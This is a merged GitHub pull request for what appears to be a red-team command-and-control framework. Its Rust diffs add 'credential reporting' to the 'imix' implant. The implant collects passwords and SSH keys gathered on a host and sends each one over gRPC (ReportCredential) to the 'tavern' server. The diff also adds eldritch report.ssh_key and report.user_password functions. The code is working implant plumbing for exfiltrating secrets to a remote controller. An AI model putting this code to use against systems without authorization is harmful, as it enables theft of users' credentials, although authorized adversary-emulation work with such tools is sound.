Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[feature] Credential Reporting #585

Merged
merged 5 commits into from
Feb 13, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 27 additions & 2 deletions implants/imix/src/task.rs
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
use anyhow::Result;
use c2::{
pb::{
DownloadFileRequest, DownloadFileResponse, ReportProcessListRequest,
ReportTaskOutputRequest, TaskError, TaskOutput,
DownloadFileRequest, DownloadFileResponse, ReportCredentialRequest,
ReportProcessListRequest, ReportTaskOutputRequest, TaskError, TaskOutput,
},
Transport,
};
Expand Down Expand Up @@ -92,6 +92,31 @@ impl TaskHandle {
.await?;
}

// Report Credential
let credentials = self.runtime.collect_credentials();
for cred in credentials {
#[cfg(debug_assertions)]
log::info!("reporting credential (task_id={}): {:?}", self.id, cred);

match tavern
.report_credential(ReportCredentialRequest {
task_id: self.id,
credential: Some(cred),
})
.await
{
Ok(_) => {}
Err(_err) => {
#[cfg(debug_assertions)]
log::error!(
"failed to report credential (task_id={}): {}",
self.id,
_err
);
}
}
}

// Report Process Lists
let process_lists = self.runtime.collect_process_lists();
for list in process_lists {
Expand Down
2 changes: 1 addition & 1 deletion implants/lib/c2/build.rs
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
}

match tonic_build::configure()
.out_dir("./src")
.out_dir("./src/generated")
.build_server(false)
.extern_path(".eldritch", "::eldritch::pb")
.compile(&["c2.proto"], &["../../../tavern/internal/c2/proto/"])
Expand Down
35 changes: 35 additions & 0 deletions implants/lib/c2/src/c2.rs → implants/lib/c2/src/generated/c2.rs
Original file line number Diff line number Diff line change
Expand Up @@ -145,6 +145,17 @@ pub struct DownloadFileResponse {
}
#[allow(clippy::derive_partial_eq_without_eq)]
#[derive(Clone, PartialEq, ::prost::Message)]
pub struct ReportCredentialRequest {
#[prost(int64, tag = "1")]
pub task_id: i64,
#[prost(message, optional, tag = "2")]
pub credential: ::core::option::Option<::eldritch::pb::Credential>,
}
#[allow(clippy::derive_partial_eq_without_eq)]
#[derive(Clone, PartialEq, ::prost::Message)]
pub struct ReportCredentialResponse {}
#[allow(clippy::derive_partial_eq_without_eq)]
#[derive(Clone, PartialEq, ::prost::Message)]
pub struct ReportFileRequest {
#[prost(int64, tag = "1")]
pub task_id: i64,
Expand Down Expand Up @@ -314,6 +325,30 @@ pub mod c2_client {
self.inner.server_streaming(req, path, codec).await
}
///
/// Report a credential from the host to the server.
pub async fn report_credential(
&mut self,
request: impl tonic::IntoRequest<super::ReportCredentialRequest>,
) -> std::result::Result<
tonic::Response<super::ReportCredentialResponse>,
tonic::Status,
> {
self.inner
.ready()
.await
.map_err(|e| {
tonic::Status::new(
tonic::Code::Unknown,
format!("Service was not ready: {}", e.into()),
)
})?;
let codec = tonic::codec::ProstCodec::default();
let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportCredential");
let mut req = request.into_request();
req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportCredential"));
self.inner.unary(req, path, codec).await
}
///
/// Report a file from the host to the server.
/// Providing content of the file is optional. If content is provided:
/// - Hash will automatically be calculated and the provided hash will be ignored.
Expand Down
32 changes: 32 additions & 0 deletions implants/lib/c2/src/grpc.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ use crate::pb::{
ReportFileRequest, ReportFileResponse, ReportProcessListRequest, ReportProcessListResponse,
ReportTaskOutputRequest, ReportTaskOutputResponse,
};
use crate::pb::{ReportCredentialRequest, ReportCredentialResponse};
use anyhow::Result;
use async_trait::async_trait;
use std::sync::mpsc::{Receiver, Sender};
Expand All @@ -12,6 +13,7 @@ use tonic::Request;

static CLAIM_TASKS_PATH: &str = "/c2.C2/ClaimTasks";
static DOWNLOAD_FILE_PATH: &str = "/c2.C2/DownloadFile";
static REPORT_CREDENTIAL_PATH: &str = "/c2.C2/ReportCredential";
static REPORT_FILE_PATH: &str = "/c2.C2/ReportFile";
static REPORT_PROCESS_LIST_PATH: &str = "/c2.C2/ReportProcessList";
static REPORT_TASK_OUTPUT_PATH: &str = "/c2.C2/ReportTaskOutput";
Expand Down Expand Up @@ -75,6 +77,14 @@ impl crate::Transport for GRPC {
Ok(())
}

async fn report_credential(
&mut self,
request: crate::pb::ReportCredentialRequest,
) -> Result<crate::pb::ReportCredentialResponse> {
let resp = self.report_credential_impl(request).await?;
Ok(resp.into_inner())
}

async fn report_file(
&mut self,
request: Receiver<crate::pb::ReportFileRequest>,
Expand Down Expand Up @@ -162,6 +172,28 @@ impl GRPC {
self.grpc.server_streaming(req, path, codec).await
}

///
/// Report a credential.
pub async fn report_credential_impl(
&mut self,
request: impl tonic::IntoRequest<crate::pb::ReportCredentialRequest>,
) -> std::result::Result<tonic::Response<ReportCredentialResponse>, tonic::Status> {
self.grpc.ready().await.map_err(|e| {
tonic::Status::new(
tonic::Code::Unknown,
format!("Service was not ready: {}", e),
)
})?;
let codec: ProstCodec<ReportCredentialRequest, ReportCredentialResponse> =
tonic::codec::ProstCodec::default();

let path = tonic::codegen::http::uri::PathAndQuery::from_static(REPORT_CREDENTIAL_PATH);
let mut req = request.into_request();
req.extensions_mut()
.insert(GrpcMethod::new("c2.C2", "ReportCredential"));
self.grpc.unary(req, path, codec).await
}

///
/// Report a file from the host to the server.
/// Providing content of the file is optional. If content is provided:
Expand Down
2 changes: 1 addition & 1 deletion implants/lib/c2/src/lib.rs
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
pub mod pb {
include!("c2.rs");
include!("generated/c2.rs");
}

mod grpc;
Expand Down
7 changes: 7 additions & 0 deletions implants/lib/c2/src/transport.rs
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,13 @@ pub trait Transport {
sender: Sender<crate::pb::DownloadFileResponse>,
) -> Result<()>;

///
/// Report a credential to the server.
async fn report_credential(
&mut self,
request: crate::pb::ReportCredentialRequest,
) -> Result<crate::pb::ReportCredentialResponse>;

///
/// Report a file from the host to the server.
/// Providing content of the file is optional. If content is provided:
Expand Down
3 changes: 1 addition & 2 deletions implants/lib/eldritch/build.rs
Original file line number Diff line number Diff line change
Expand Up @@ -115,8 +115,7 @@ fn build_proto() -> Result<()> {
}

match tonic_build::configure()
.out_dir("./src")
.protoc_arg("--rust_out=./src/pb.rs")
.out_dir("./src/generated/")
.build_client(false)
.build_server(false)
.compile(&["eldritch.proto"], &["../../../tavern/internal/c2/proto"])
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,59 @@ pub struct Tome {
#[prost(string, repeated, tag = "3")]
pub file_names: ::prost::alloc::vec::Vec<::prost::alloc::string::String>,
}
/// Credential reported on the host system.
#[allow(clippy::derive_partial_eq_without_eq)]
#[derive(Clone, PartialEq, ::prost::Message)]
pub struct Credential {
#[prost(string, tag = "1")]
pub principal: ::prost::alloc::string::String,
#[prost(string, tag = "2")]
pub secret: ::prost::alloc::string::String,
#[prost(enumeration = "credential::Kind", tag = "3")]
pub kind: i32,
}
/// Nested message and enum types in `Credential`.
pub mod credential {
#[derive(
Clone,
Copy,
Debug,
PartialEq,
Eq,
Hash,
PartialOrd,
Ord,
::prost::Enumeration
)]
#[repr(i32)]
pub enum Kind {
Unspecified = 0,
Password = 1,
SshKey = 2,
}
impl Kind {
/// String value of the enum field names used in the ProtoBuf definition.
///
/// The values are not transformed in any way and thus are considered stable
/// (if the ProtoBuf definition does not change) and safe for programmatic use.
pub fn as_str_name(&self) -> &'static str {
match self {
Kind::Unspecified => "KIND_UNSPECIFIED",
Kind::Password => "KIND_PASSWORD",
Kind::SshKey => "KIND_SSH_KEY",
}
}
/// Creates an enum from field names used in the ProtoBuf definition.
pub fn from_str_name(value: &str) -> ::core::option::Option<Self> {
match value {
"KIND_UNSPECIFIED" => Some(Self::Unspecified),
"KIND_PASSWORD" => Some(Self::Password),
"KIND_SSH_KEY" => Some(Self::SshKey),
_ => None,
}
}
}
}
/// Process running on the host system.
#[allow(clippy::derive_partial_eq_without_eq)]
#[derive(Clone, PartialEq, ::prost::Message)]
Expand Down Expand Up @@ -129,8 +182,8 @@ pub struct File {
pub group: ::prost::alloc::string::String,
#[prost(string, tag = "4")]
pub permissions: ::prost::alloc::string::String,
#[prost(int64, tag = "5")]
pub size: i64,
#[prost(uint64, tag = "5")]
pub size: u64,
#[prost(string, tag = "6")]
pub sha3_256_hash: ::prost::alloc::string::String,
#[prost(bytes = "vec", tag = "7")]
Expand Down
2 changes: 1 addition & 1 deletion implants/lib/eldritch/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ pub mod sys;
pub mod time;

pub mod pb {
include!("eldritch.rs");
include!("generated/eldritch.rs");
}

pub use runtime::{start, FileRequest, Runtime};
Expand Down
72 changes: 10 additions & 62 deletions implants/lib/eldritch/src/report/mod.rs
Original file line number Diff line number Diff line change
@@ -1,4 +1,6 @@
mod process_list_impl;
mod ssh_key_impl;
mod user_password_impl;

use starlark::{
collections::SmallMap,
Expand Down Expand Up @@ -26,70 +28,16 @@ fn methods(builder: &mut MethodsBuilder) {
process_list_impl::process_list(starlark_eval, process_list.items)?;
Ok(NoneType{})
}
}

#[cfg(test)]
mod test {
use std::collections::HashMap;

use crate::pb::process::Status;
use crate::pb::{Process, ProcessList, Tome};
use anyhow::Error;

macro_rules! process_list_tests {
($($name:ident: $value:expr,)*) => {
$(
#[tokio::test]
async fn $name() {
let tc: TestCase = $value;
let mut runtime = crate::start(tc.tome).await;
runtime.finish().await;

let want_err_str = match tc.want_error {
Some(err) => err.to_string(),
None => "".to_string(),
};
let err_str = match runtime.collect_errors().pop() {
Some(err) => err.to_string(),
None => "".to_string(),
};
assert_eq!(want_err_str, err_str);
assert_eq!(tc.want_output, runtime.collect_text().join(""));
assert_eq!(Some(tc.want_proc_list), runtime.collect_process_lists().pop());
}
)*
}
}

struct TestCase {
pub tome: Tome,
pub want_output: String,
pub want_error: Option<Error>,
pub want_proc_list: ProcessList,
#[allow(unused_variables)]
fn ssh_key(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, key: String) -> anyhow::Result<NoneType> {
ssh_key_impl::ssh_key(starlark_eval, username, key)?;
Ok(NoneType{})
}

process_list_tests! {
one_process: TestCase{
tome: Tome{
eldritch: String::from(r#"report.process_list([{"pid":5,"ppid":101,"name":"test","username":"root","path":"/bin/cat","env":"COOL=1","command":"cat","cwd":"/home/meow","status":"IDLE"}])"#),
parameters: HashMap::new(),
file_names: Vec::new(),
},
want_proc_list: ProcessList{list: vec![
Process{
pid: 5,
ppid: 101,
name: "test".to_string(),
principal: "root".to_string(),
path: "/bin/cat".to_string(),
env: "COOL=1".to_string(),
cmd: "cat".to_string(),
cwd: "/home/meow".to_string(),
status: Status::Idle.into(),
},
]},
want_output: String::from(""),
want_error: None,
},
#[allow(unused_variables)]
fn user_password(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, password: String) -> anyhow::Result<NoneType> {
user_password_impl::user_password(starlark_eval, username, password)?;
Ok(NoneType{})
}
}
Loading
Loading